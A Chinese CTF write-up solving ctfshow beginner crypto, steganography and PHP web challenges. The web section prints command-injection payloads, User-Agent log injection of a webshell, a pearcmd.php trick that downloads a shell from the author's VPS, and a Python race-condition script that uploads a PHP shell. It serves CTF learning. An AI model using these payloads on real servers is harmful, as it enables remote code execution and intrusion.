目录

萌新_密码1

萌新_密码2

萌新 密码3

萌新 密码#4

萌新 隐写2

萌新 隐写3

萌新 隐写4

萌新隐写5

萌新隐写6

隐写1

隐写2

web11-13

web14

web15

web16

​编辑

web17

web18

web19-21

web22

获得百分之百的快乐

web23

web24


萌新_密码1

密文:

53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303D

D和F等字母没先其他的,可能是十六进制。解密后得到一串base64编码

S1lkZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2VlMDI5OGI4ZjRkOH0=

再次进行base64解码,得到:

KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8} 不难看出这是栅栏密码

用下载下来的工具解密后得到flag  (下下下载没什么关系,直接百度搜索在线解密也可以)

萌新_密码2

出题人已累,随便敲了几下键盘。。。 rdcvbg 2qase3 6tghu7

单独看空格分开的字母  rdcvbg圈住了f   2qase3圈住了w  6tghu7圈住了y

所以flag为:KEY{fwy}

萌新 密码3

题目描述:-- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. --

摩斯密码解密后得到:mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm

类似于培根密码,但培根密码是只有A和B 我们转换过来后是

AABBABABAAABBBABABBAAAAAAABBABAABBA

培根密码解密得到:guowang

这里提交的时候还需要大写,不知道为什么。。

萌新 密码#4

QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==

base64解码后是Ao(mgHX^E)ARAnTF(J]f@<6".

hint提到:比base64还大的 有base85 base91 base100

乱七八糟的base85解密后得到flag:

再补全一个ase} 得到flag

萌新 隐写2

hint:文件的主人喜欢用生日做密码,而且还是个90后。

下载下来之后发现是一个flag.zip

加密的压缩包,我们用ARCHPR爆破一下压缩包密码

掩码 199????? 最后爆破得到密码为:19981000

萌新 隐写3

不知道为什么,打开后直接得到了flag:flag{xinti_gkd}

萌新 隐写4

下载下来后是个.doc文档,

1. 将后缀改为.txt之后,打开后可以找到flag

2. 010editor打开

萌新隐写5

文本文件打开:得到一串中文:

中文转Unicode 得到:\u4d00\u5a00\u5700\u4700\u4300\u5a00\u5a00\u4900\u4e00\u4200\u5100\u5700\u3600\u5800\u3300\u4b00\u4e00\u4600\u3200\u5600\u3600\u5900\u5400\u5600\u4c00\u3500\u3400\u5700\u3600\u3300\u5400\u4800\u4c00\u3500\u5200\u4400\u4700\u4d00\u5300\u3700\u4600\u4500\u3d00\u3d00\u3d00\u3d00\u3d00\u3d00\\=\u3002=//

对这串字符base16解码后得到:MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE======

再对其进行base32解码后得到flag

自作主张把()换成了{}结果flag不对 其实不用换,多手了。。。

萌新隐写6

题目给的文件下载后得到一个 .flac的文件 打开发现是个music

我们用audacity 工具打开这段音频

链接: https://pan.baidu.com/s/1ySRUoWxH9E5spl2rvIgqdQ

提取码: 1vxy

发现其左声道 听起来类似于一段摩斯密码

我们导出其为.mp3 然后放到 International Morse Code Decoders | Morse Code World

上 上传文件,他会自动播放然后进行摩斯解密  得到flag为:M U Z I K I S G 0 0 D

隐写1

发现下载下来的PNG图片打不开

010editor打开后发现是 PNG的图片头有误

应为:89504E47

我们修改为正确的之后打开,得到flag

隐写2

打开图片后是JPHS

工具下载下来也是 JPHS

工具介绍:180214—【CTF】隐写:JPHS_DRondong的博客-CSDN博客_jphswin

工具打开flag.jpg 点击seek 密码为空 下载下来文件1.txt 打开得到flag

web11-13

passthru('tac con*')?>

web14

过滤了;和(    ;可以用?>代替 至于不用()的危险函数,就用``来命令执行。

echo `tac con*`?>

web15

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){eval($c);}else{die("cmd error");}
}else{highlight_file(__FILE__);
}
?>

system * ? < > = exec highlight cat ( . file php config 等关键字

但是此次 ; 被放了出来。我们过滤是过滤了get的,我们可以构造POST传一个参数来进行rce

echo `$_POST[1]`;

post传参:1=cat config.php

我们用hackbar的话会返回空白,源码也是。这个问题不大,我们换成burp

更改请求方式为POST

添加 Content-Type: application/x-www-form-urlencoded

加入body参数 1=cat config.php

web16

$c = $_GET['c'];if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){echo $flag; 

所以get传入c=36d 得到flag

web17

日志注入,burp抓包在 User-Agent 写入一句话木马

蚁剑连接,在36.php里得到flag

web18

多过滤了一个file,无伤大雅,同web17

web19-21

同上

后面几道web虽然在萌新里,但对萌新很不友好,萌新的话建议做做其他的练习之后再回过头来做这几道题。

web22

<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\:|\/|\\\/i",$c)){include($c.".php");}}else{highlight_file(__FILE__);
}
?> 

include方面目前我见过的,就是伪协议以及日志注入,但是这道题过滤了: 和 / 没思路

但是看了其他师傅的博客之后,居然还能搞??

参考:ctfshow 萌新22 (类似级客巅峰web4)_Firebasky的博客-CSDN博客_ctfshow 萌新22

难度挺大的。据说是:修改php.ini里面的配置(register_argc_argv) 可以做

register_argc_argv 介绍:

通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
        $argc变量是⽤于记录数组的⼤⼩
        $argv变量是⽤于记录输⼊的参数

p神解释:

经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off

Docker PHP裸文件本地包含综述 - 跳跳糖
奇淫技巧:
        p神的知识星球里提到:我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER['argv']的值的,但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的个数始终是 1

在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀

这个题开启了register_argc_argv可以通过+来分隔命令,先进行包含pearcmd.php然后在通过+分隔符来执行download命令

在我们的vps上面创建一个test.php

<?php
echo "<?php system(whoami);?>";
?>

然后在题目url里传入?c=pearcmd&+download+http:/vpsip/test.php 

访问 题目url/test.php

返回 www-data 可以知道我们用户身份为 www-data 也证明成功下载了我们test.php

那么我们也可以写一个一句话木马,下载到题目里 访问执行命令,获取flag

但不知道为什么这个更改为木马文件后,就下载不下来了。

看到大师傅后面说的原因是:

实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。

我们vps上在~目录写入一个shell木马,然后python3 -m http.server 81 开放一个服务

最终传入?c=pearcmd&+download+http:/vpsip:81/shell.php 

成功下载下来了shell.php木马文件  密码为shell

得到flag

获得百分之百的快乐

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){echo shell_exec($_GET[1]);
}
else{echo "hack!!!";
}
?> 

有限字符下的任意命令执行,限制了长度只能是三个字符

先传入 1=ls 发现只有s和z开头的文件

只限3个字符的shell_exec,利用通配符 * 表示将ls下面的文件执行,如果第一个是命令就直接执行命令,后面的当参数,与前几点的原理类似

Linux中文件排序按照26个英文字母顺序排放,我们利用前几种字符限制的方法,通过>写入一个以命令名命名的文件,如:nl(读取文件带上行)od(八进制显示输出),但这样的命令前提是其第一个字母必须在当前文件名中排到第一位(n在s和z前,o也在s和z前)

因此

payload1:?1=>nl  后 ?1=*

payload2:?1=>od 后 ?1=*

web23

我们上传一下一句话php木马文件,发现上传成功,但是访问时却404

可能是存在条件竞争给删除掉了

贴一下y2hlbmc师傅的脚本:

# coding: utf-8
# Auth: y2hlbmcimport requests
import time
import threadingurl = "http://1123c181-51e1-4e79-881d-4bf533022b4c.challenge.ctf.show:8080/"def Thread(fun,*args):return threading.Thread(target=fun, args=args)def req(fname):r = requests.get(url + "uploads/" + fname + ".php")x = r.textif len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:print(x)def Thread_start(fname):for i in range(100,400):# 每个文件名单起一个线程Thread(req, fname + str(i)).start()def upload():while True:file_data = {'file':('shell.php',"<?php system(\"ls -l ../\");?>".encode())}r = requests.post(url + "upload.php",files=file_data)txt = r.textprint("uploaded:",txt)# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))# 单起一个线程,爆破下一次upload的文件名Thread(Thread_start, fname).start()if __name__ == '__main__':upload()

执行力 ls -l的命令,发现了 flag文件:flaghere0.txt

更改shell.php文件内容:

<?php system(\"ls -l ../\");?> 为 <?php system(\"cat ../flaghere0.txt\");?>

得到flag

web24

提示:相比web23,随机数减少到300,延时增加到3秒

代码同web23,

把    fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))

改为    fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))

之后更改 ls -l ../ 为 cat flaghere0.txt

得到flag

ctfshow MengXIn 下(pearcmd.php妙用条件竞争简单密码简单misc)相关推荐

  1. linux sftp没有读写权限,Linux下SFTP用户权限设置条件及实现命令

    Linux下SFTP用户权限设置条件及实现命令 众所周知SFTP账号是基于SSH账号的,所以在默认情况下访问服务器的权限是非常大的,今天的教程就是教大家进行SFTP用户权限设置. 必要条件: 你的op ...

  2. mysql锁争用_关于MYSQL条件竞争与锁的问题

    最近在整理关支付安全的内容,其中就是涉及到了一个在支付过程中的条件竞争问题.以下都是基于mysql的与php的架构来描述该问题,大佬勿喷. 0x01. 条件竞争 什么是条件竞争: 竞争条件 发生在多个 ...

  3. upload_labs_pass18_条件竞争

    pass18 第18关和前面14-17关(要求上传图片马)不同,直接要求上传一个webshell 提示: 源码: $is_upload = false; $msg = null;if(isset($_ ...

  4. Python之条件竞争

    0x00 条件竞争 一.漏洞概念 竞争条件指多个线程或者进程在读写一个共享数据时结果依赖于它们执行的相对时间的情形.例如:考虑下面的例子: 假设两个进程P1和P2共享了变量a.在某一执行时刻,P1更新 ...

  5. 对于“条件竞争”的利用

    0x01 条件竞争 条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成.当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷.该漏 ...

  6. 智能合约审计之条件竞争

    文章前言 与大多数区块链一样,以太坊节点汇集交易并将其形成块,一旦矿工解决了共识机制(目前Ethereum的ETHASH PoW),这些交易就被认为是有效的,解决该区块的矿工也会选择来自该矿池的哪些交 ...

  7. upload-labs 21超详细通关笔记+部分代码审计(条件竞争等)

    upload-labs 21目录 1-1 前端JS校验绕过 1-2 content-type 绕过 1-3 多种扩展名绕过 1-4 .htaccess绕过 1-6 大小写绕过 1-7 文件名加空格绕过 ...

  8. 【upload靶场17-21】二次渲染、条件竞争、黑白名单绕过

    目录 一.推荐 Pass17(二次渲染绕过) 特点: 分析: 利用: Pass18(条件竞争) 特点: 分析: 利用: Pass19(条件竞争) 特点: 分析: 利用: Pass20(黑名单检测) 特 ...

  9. 文件上传漏洞、编辑器漏洞和条件竞争漏洞介绍(笔记)

    (一)文件上传漏洞介绍: 文件上传是Web应用的必备功能之一,比如,上传头像.上传简历.上传文档等. 那么上传的过程中如果对用户上传的文件未校验或者校验不严格.过滤不严格,那么恶意用户就可以恶意修改上 ...

最新文章

  1. linux下磁盘分区
  2. 语音信号处理MATLAB实现
  3. centos httpd服务做yum本地源,以及安装Mysql
  4. 虚拟机无法开机数据恢复 (建议在做之前做测试,数据双重备份)
  5. 解决方案 | tensorflow安装慢解决方案
  6. 学计算机的误解,让人误解的六大专业
  7. ai端到端_如何使用行为树构建端到端的对话式AI系统
  8. ansys 内聚力模型_《ANSYS Workbench有限元分析实例详解(静力学)》,9787115446312
  9. Ubuntu 16.04中的Grub更新警告
  10. sklearn学习笔记之preprocessing
  11. VB.Net程序设计:分页控件
  12. C# 读取TXT文本文档 搜索指定字符串所在的行 保存到集合
  13. 看看大疆的C语言面试题
  14. [导入]锐道dorado
  15. WinCC V7.2学习记录
  16. C#中问号“?”的用法
  17. 【ggplot】复杂柱状图:自定义颜色、标签、位置、坐标轴和主题
  18. SharedPreferences和SQlite数据库
  19. 用少量箭射爆气球,leetcode习题
  20. 您的基于云的应用程序可能是有利可图的产品

热门文章

  1. MYSQL查询员工信息练习
  2. [TL-WDR7300] 如何当作交换机使用?
  3. 移动100m宽带慢的要死_移动宽带不稳定怎么办,移动100m宽带慢解决方法
  4. 2021版王道数据结构课后代码题全部实现
  5. RJS Reference
  6. MT7603处理器性能,MT7603 wifi芯片介绍
  7. 如何用IED编写股票的量化策略?
  8. win10-LTSC2019装机必备操作和软件备忘录
  9. Powerdesinger使用心得
  10. 七大数字经济重点产业!